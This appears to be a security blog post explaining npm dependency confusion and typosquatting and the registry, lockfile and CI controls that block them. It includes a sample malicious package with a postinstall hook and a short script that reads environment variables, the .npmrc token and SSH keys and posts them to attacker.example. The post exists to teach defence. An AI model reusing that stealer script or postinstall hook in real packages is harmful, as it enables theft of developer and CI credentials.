Back to Blog
Supply ChainDependency ConfusionTyposquattingnpm SecurityCI/CDLockfileOpen Source Security

Dependency Confusion and Typosquatting in npm: Defend Your Node.js Pipeline from Hijacked Installs [2026]

The Attack That Never Touches a CVE

In February 2021, a security researcher named Alex Birsan published empty packages to npm, PyPI, and RubyGems — and quietly collected more than $130,000 in bug bounties from Apple, Microsoft, PayPal, Shopify, Netflix, Uber, and dozens of other companies. He never found a single vulnerability in their code. He never exploited a CVE. He just uploaded packages with the same names as internal packages those companies used, gave them absurd version numbers, and waited for their build pipelines to install them.

That is dependency confusion (also called package substitution): an attacker publishes a package with the name of a private or internal dependency to the public registry, and the victim's package manager — npm included — silently downloads the attacker's version instead of the internal one.

Typosquatting is the sibling attack. Instead of a private name, the attacker registers a name one keystroke away from a popular package: lodahs instead of lodash, crossenv instead of cross-env, node-fetch3 instead of node-fetch. A tired developer, an aggressive autocomplete, or a copied line from a blog post — and the malicious package is in node_modules.

Both attacks have the same punchline: a package install is arbitrary code execution, and it runs with the privileges of whoever ran npm install — your laptop, your CI runner, your deploy server. This article covers how these attacks work against Node.js and Next.js projects, why the standard defenses fail, and the concrete registry, lockfile, and CI controls that stop them.

Why This Is a Startup Problem

Startups are the perfect target, and not by accident:

  • Monorepos and shared internal packages. The moment two services share a package (@acme/logger, @acme/ui, internal-utils), you have internal package names — and internal names are the ammunition for dependency confusion.
  • Thin governance. No committee reviews every dependency; a junior dev adding a package to fix a Friday-night bug is a normal event.
  • CI has the keys. Your build pipeline holds AWS_ACCESS_KEY_ID, GH_TOKEN, NPM_TOKEN, DATABASE_URL. One malicious postinstall script in CI is a full cloud account compromise — worse than any production RCE.
  • Names leak. Internal package names appear in GitHub issues, LinkedIn posts, job descriptions, and public package.json files. Attackers scrape them.

The npm ecosystem is under active attack: npm's security team removes thousands of malicious packages every year, and typosquats and lookalike names are a large share. The well-documented incidents — event-stream (2018, ownership handed to an attacker who injected a Bitcoin-stealing payload into the copay wallet), eslint-scope (2018, compromised maintainer credentials shipped a package stealing .npmrc tokens), ua-parser-js and eventsource (2022, malicious versions with millions of weekly downloads), crossenv (2022, a typosquat exfiltrating environment variables) — are the visible tip.

How Dependency Confusion Actually Works

npm resolves a dependency name like this:

  1. It looks for the package in node_modules (already installed).
  2. Otherwise it asks the registry configured for that name — per-scope overrides first, then the default registry.
  3. It installs the highest version that satisfies the semver range in your package.json.

The vulnerability is in step 2. The classic setup looks like this:

text
# .npmrc — VULNERABLE
# Only the private scope is pinned; everything else resolves against the public registry.
@acme:registry=https://npm.acme.dev/

Your internal package @acme/logger is published to npm.acme.dev. But nothing stops npm from falling back to registry.npmjs.org for names that don't match the scope — or even for scoped names if the scope config is missing on a developer's machine, in CI, or in a fresh container. An attacker who knows the name (it's in your public repos or job posts) does this:

json
{
  "name": "@acme/logger",
  "version": "999.0.0",
  "description": "Internal logger — totally legitimate, promise",
  "scripts": {
    "postinstall": "node scripts/steal.js"
  }
}

Publishing @acme/logger@999.0.0 to the public npm registry takes one command: npm publish --access public. Now:

  • Any ^1.0.0 or * range in your package.json matches 999.0.0 — semver ranges resolve to the highest matching version.
  • Even an exact pin like "@acme/logger": "1.2.3" doesn't help if the name resolves to the public registry: the attacker simply publishes 1.2.3 too.
  • If any install step hits the public registry for that name, the attacker's tarball wins.

And the payload runs before your code does — postinstall executes during npm install, with full access to the environment:

js
// scripts/steal.js — runs on every install that resolves the malicious package
const https = require("https");
const fs = require("fs");
const os = require("os");

function readIfExists(p) {
  try { return fs.readFileSync(p, "utf8"); } catch { return null; }
}

const payload = JSON.stringify({
  env: process.env,            // AWS_*, GH_TOKEN, NPM_TOKEN, DATABASE_URL, ...
  npmrc: readIfExists(os.homedir() + "/.npmrc"),
  ssh: readIfExists(os.homedir() + "/.ssh/id_ed25519"),
  hostname: os.hostname(),
  cwd: process.cwd(),
});

const req = https.request("https://attacker.example/collect", {
  method: "POST",
  headers: { "content-type": "application/json" },
});
req.end(payload);

That's it. A few kilobytes, one install, and the attacker has the environment of whoever ran the install. On a developer laptop that includes your npm token, your Git credentials, and every cloud key in your dotfiles. In CI it includes the secrets that deploy your infrastructure.

How Typosquatting Works

Typosquatting needs no private name — just a popular one. The attacker publishes:

text
lodahs        vs  lodash
crossenv      vs  cross-env
expresss      vs  express
node-fetch3   vs  node-fetch
react-doms    vs  react-dom
@babel/coer   vs  @babel/core

Humans are the vulnerability: autocomplete, muscle memory, copy-paste from an outdated tutorial, or a package.json edited by hand. The crossenv incident is the template — a typosquat of cross-env that was caught forwarding environment variables (including secrets) to a Discord webhook. It was removed, but the pattern repeats monthly: attackers publish dozens of lookalikes, let the malware sit for a few days, and harvest whatever postinstall can see before anyone notices.

Two properties make typosquats hard to catch in review:

  1. The diff looks right. "lodahs": "^4.17.21" in a dependency block is easy to miss in a pull request — and if the package has plausible READMEs and metadata, reviewers approve it.
  2. It's a one-time event. Unlike a compromised maintainer, a typosquat package is usually removed quickly — but by then the damage is done, and the audit trail is gone.

Why Version Pinning and npm audit Are Not the Defense

This is the part that surprises most teams:

  • Version pinning fixes which version of a name — not which registry the name resolves to. The attacker publishes the exact version you pinned. Pinning is useless against dependency confusion.
  • npm audit checks known CVEs against the installed tree. A typosquat or dependency-confusion package has no CVE — it's malicious by design, not vulnerable by bug. It will not show up.
  • Lockfiles help only where they exist. A committed package-lock.json records the exact resolved URL and integrity hash for every package — which does block substitution if every install goes through the lockfile. But the lockfile is generated or updated by npm install, and that's exactly the moment the attack lands.

So the real controls are structural: make the attacker's package unreachable, not merely detectable.

The Fix Stack

1. Pin every registry — and make the public registry unreachable

The single highest-leverage control. Every name must resolve to a registry you control, and your build machines must not be able to reach registry.npmjs.org directly:

text
# .npmrc — FIXED
# Default registry is your mirror/proxy. The public registry is never contacted directly.
registry=https://npm.acme.dev/repository/npm-public/
@acme:registry=https://npm.acme.dev/repository/npm-private/

Use a self-hosted registry proxy (Verdaccio, JFrog Artifactory, Sonatype Nexus, or GitHub Packages as a proxy) that caches public packages and hosts private ones. Then:

  • Point the default registry at the proxy, and the private scope at the private repository.
  • Restrict the proxy: configure it to serve only packages that exist in its cache or its allowlist. Most proxies support "remote repository" allow/deny rules — use them. An allowlist of approved public package names turns dependency confusion into a hard failure instead of a silent install.
  • Block egress from CI and developer machines to registry.npmjs.org at the network level (firewall/egress policy). If the proxy is the only path, there is no fallback to weaponize.
  • Commit the .npmrc that does this to the repo, and enforce the same settings in CI, Docker images, and dev containers. Audit with:
bash
npm config get registry          # must be your mirror, not npmjs.org
npm config get @acme:registry    # per-scope overrides
npm config list                  # every level: project, user, global

2. Lockfile discipline: npm ci, always

bash
# CI — VULNERABLE
npm install

# CI — FIXED
npm ci

npm ci installs exactly what package-lock.json resolves — same URLs, same integrity hashes — and fails if the lockfile is out of sync with package.json. It never updates the lockfile, so a poisoned name can't slip in during a build. Rules that make it work:

  • Commit package-lock.json (and yarn.lock/pnpm-lock.yaml if you use them).
  • Never run npm install in CI. Every lockfile change happens on a developer machine, in a reviewable commit, through your pinned registry.
  • When adding a dependency, update the lockfile deliberately (npm install --package-lock-only <pkg> against the pinned registry), then review the diff. The resolved line tells you where it came from:
json
"node_modules/@acme/logger": {
  "version": "1.2.3",
  "resolved": "https://npm.acme.dev/repository/npm-private/@acme/logger/-/logger-1.2.3.tgz",
  "integrity": "sha512-...",
  "dependencies": {}
}

A lockfile entry whose resolved points at registry.npmjs.org for a scoped internal package is the dependency-confusion shape — grep for it in audit:

bash
# Scoped packages resolving to the public registry = the attack shape
grep -B2 'registry.npmjs.org' package-lock.json | grep '"node_modules/@'

3. Reserve your internal names

Birsan's advice, and still the cheapest fix: publish a harmless placeholder for every internal package name on the public registry. Once the name is taken, an attacker cannot register it, and any install that would have hit the public registry gets your stub (which fails loudly or resolves to nothing) instead of attacker code.

json
{
  "name": "@acme/logger",
  "version": "0.0.1",
  "description": "Name reservation — @acme/logger is an internal package. Do not install this from the public registry.",
  "private": false,
  "publishConfig": { "access": "restricted" }
}

This closes the dependency-confusion vector permanently, even if a registry config is missing somewhere.

4. Treat install scripts as code — because they are

postinstall (and preinstall/install) run with your privileges. Before adopting a dependency, know whether it executes anything at install time:

js
// scripts/scan-install-scripts.mjs
// Flag every top-level dependency that runs code on install.
import { readdirSync, readFileSync, existsSync } from "node:fs";
import { join } from "node:path";

const flag = ["preinstall", "install", "postinstall"];

for (const dir of readdirSync(join(process.cwd(), "node_modules"))) {
  if (dir.startsWith("@")) continue; // handle scoped packages separately
  const pkgPath = join(process.cwd(), "node_modules", dir, "package.json");
  if (!existsSync(pkgPath)) continue;
  const scripts = JSON.parse(readFileSync(pkgPath, "utf8")).scripts ?? {};
  const hits = flag.filter((s) => scripts[s]);
  if (hits.length) console.log(`${dir}: ${hits.join(", ")}`);
}

Run it after installs; review the results. For runtime-only dependencies, consider npm install --ignore-scripts (or npm config set ignore-scripts true) and only enable scripts for packages you trust to need them. Many typosquats and dependency-confusion payloads are only in the install script — no runtime code — so this check neutralizes a large share of them.

5. Scan for lookalikes before merging

A tiny Levenshtein check in your PR workflow flags typosquat shapes before they reach the lockfile:

js
// scripts/check-typosquats.mjs
// Flag new dependencies whose names are suspiciously close to known packages.
import { readFileSync } from "node:fs";

const KNOWN = ["express", "lodash", "axios", "react", "next", "dotenv", "moment", "cross-env", "node-fetch"];
const deps = { ...JSON.parse(readFileSync("package.json", "utf8")).dependencies };

function levenshtein(a, b) {
  const m = a.length, n = b.length;
  const dp = Array.from({ length: m + 1 }, (_, i) => [i, ...Array(n).fill(0)]);
  for (let j = 0; j <= n; j++) dp[0][j] = j;
  for (let i = 1; i <= m; i++)
    for (let j = 1; j <= n; j++)
      dp[i][j] = Math.min(
        dp[i - 1][j] + 1,
        dp[i][j - 1] + 1,
        dp[i - 1][j - 1] + (a[i - 1] === b[j - 1] ? 0 : 1)
      );
  return dp[m][n];
}

for (const [name, range] of Object.entries(deps)) {
  const normalized = name.replace(/[-_.]/g, "");
  for (const known of KNOWN) {
    const k = known.replace(/[-_.]/g, "");
    if (name !== known && levenshtein(normalized, k) <= 2) {
      console.warn(`⚠  ${name} is edit-distance-${levenshtein(normalized, k)} from ${known}. Verify it's intentional.`);
    }
  }
}

It won't catch everything, but it converts "looks fine in review" into "explain this one."

6. Runtime supply-chain scanning in CI

Layer detection on top of the structural controls. Every PR should run:

  • SCA with malicious-code signals — Socket.dev (flags install scripts, network access, obfuscated code, license risk), Snyk, or OSV-Scanner. These catch the behavior of typosquats, not just CVEs.
  • npm audit --omit=dev as a fast known-CVE gate (remember: it won't catch malicious-by-design packages — that's what the structural controls are for).
  • npm audit signatures in your release pipeline to verify provenance signatures on packages you publish or depend on.

The Deployment Checklist

  • [ ] Every scope has an explicit registry in a committed .npmrc; the default registry points at your mirror, never at registry.npmjs.org directly
  • [ ] CI, Docker builds, and dev containers cannot reach the public registry (egress allowlist); the proxy is the only path
  • [ ] Registry proxy serves only cached/allowlisted packages — no silent fallback
  • [ ] package-lock.json is committed; CI installs with npm ci only, never npm install
  • [ ] All internal package names are reserved as placeholders on the public registry
  • [ ] Install scripts (preinstall/install/postinstall) scanned and justified for every dependency
  • [ ] New dependencies pass a lookalike/typosquat check and a metadata review (maintainers, age, downloads, repo link)
  • [ ] SCA with malicious-code signals (Socket/Snyk/OSV-Scanner) runs on every PR
  • [ ] Cloud credentials in CI issued via OIDC federation or short-lived tokens — never long-lived keys in env vars
  • [ ] Release pipeline verifies npm provenance signatures

Summary

  1. Dependency confusion weaponizes the fallback. Any name that can resolve to the public registry can be hijacked — the fix is registry pinning and making the public registry unreachable, not version pinning.

  2. Typosquatting weaponizes attention. One keystroke, autocomplete, or copy-paste is the whole exploit; review new dependency names against known packages.

  3. Install scripts are arbitrary code. A malicious postinstall runs with your credentials before your application ever starts — treat installs as code execution.

  4. The lockfile is your audit trail. Committed lockfile + npm ci only = every resolved URL and integrity hash is pinned and reviewable; npm install in CI is the hole.

  5. Name reservation closes the vector permanently. An attacker cannot publish a name you already own, even when a config mistake opens the fallback.

  6. Tooling detects; structure prevents. SCA catches malicious packages after the fact; egress controls, registry pinning, and lockfile discipline stop them from being installed at all.

Next week: WebAuthn and Passkeys — phishing-resistant authentication in Node.js and Next.js. How passkeys eliminate credential theft and OTP phishing, and how to implement the registration and authentication ceremonies with SimpleWebAuthn.

Share this article:TwitterLinkedIn
JS

JS Security Audit

Audits led by a senior JavaScript security engineer with 10+ years of experience.